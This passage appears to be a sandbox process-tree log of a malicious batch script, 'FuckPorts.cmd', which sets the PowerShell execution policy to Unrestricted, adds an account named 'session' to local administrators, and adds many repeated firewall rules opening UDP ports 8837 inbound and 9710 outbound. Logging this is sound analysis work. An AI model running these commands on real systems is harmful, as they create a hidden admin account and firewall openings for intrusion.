- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2432
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2056
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:1056
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:296
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2972
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2700
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2188
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1924
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2664
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2120
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2796
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:844
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:3056
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2496
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2132
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2620
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2936
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2652
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2080
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2124
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2624
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:296
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2960
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2312
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1352
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2476
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2824
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K FuckPorts.cmd
  2⤵
  PID:1112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Set-ExecutionPolicy Unrestricted"
    3⤵
    PID:616
- - C:\Windows\system32\net.exe
    net localgroup administrators session /ADD
    3⤵
    PID:876
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators session /ADD
      4⤵
      PID:784
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:780
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1968
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2136
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2264
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2460
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2596
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2760
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2876
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2940
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:3068
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2212
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2420
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2392
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2724
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2848
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2812
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2080
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2280
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2352
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2620
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2748
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2228
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2940
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1752
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2044
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2356
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2580
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1444
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:3024
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2848
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2288
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1772
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2188
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2664
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2736
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:3016
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:3008
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:3056
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2412
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2644
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2340
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2660
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2904
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2192
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:844
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:396
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2224
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2264
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2272
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2664
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2988
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:3040
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:3012
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2180
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2072
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2428
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2340
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:3052
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2736
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2816
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:3008
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2152
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2344
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2224
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2480
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2440
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2628
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2052
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2192
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2124
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2288
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:296
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2344
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2744
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:1352
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2788
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2664
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2988
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2084
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2812
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2240
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2532
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2576
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2412
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2716
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2464
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2940
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2192
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2204
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2508
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2344
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2312
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2896
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2072
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2512
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2920
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:3060
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:3028
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2656
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2456
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2744
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2264
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2728
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2864
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2876
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2432
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2308
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1168
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:856
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:3056
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2496
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2836
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:560
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2860
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2920
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2116
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K FuckPorts.cmd
  2⤵
  PID:936
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "Set-ExecutionPolicy Unrestricted"
    3⤵
    PID:1332
- - C:\Windows\system32\net.exe
    net localgroup administrators session /ADD
    3⤵
    PID:1520
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup administrators session /ADD
      4⤵
      PID:956
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:1628
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1880
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2148
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2256
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2392
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2540
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2668
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2808
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2948
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:844
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:296
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2304
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2380
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2492
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2636
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2868
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:3036
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:948
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2252
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2400
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2440
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2820
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2924
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:3032
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2372
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2264
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2376
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2492
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2648
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2688
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:3056
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2164
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2304
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:2464
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2728
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:3004
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 22666" dir=in action=allow protocol=UDP localport=8837
    3⤵
    PID:2672
- - C:\Windows\system32\netsh.exe
    netsh advfirewall firewall add rule name="UDP Port 18370" dir=out action=allow protocol=UDP localport=9710
    3⤵
    PID:1168
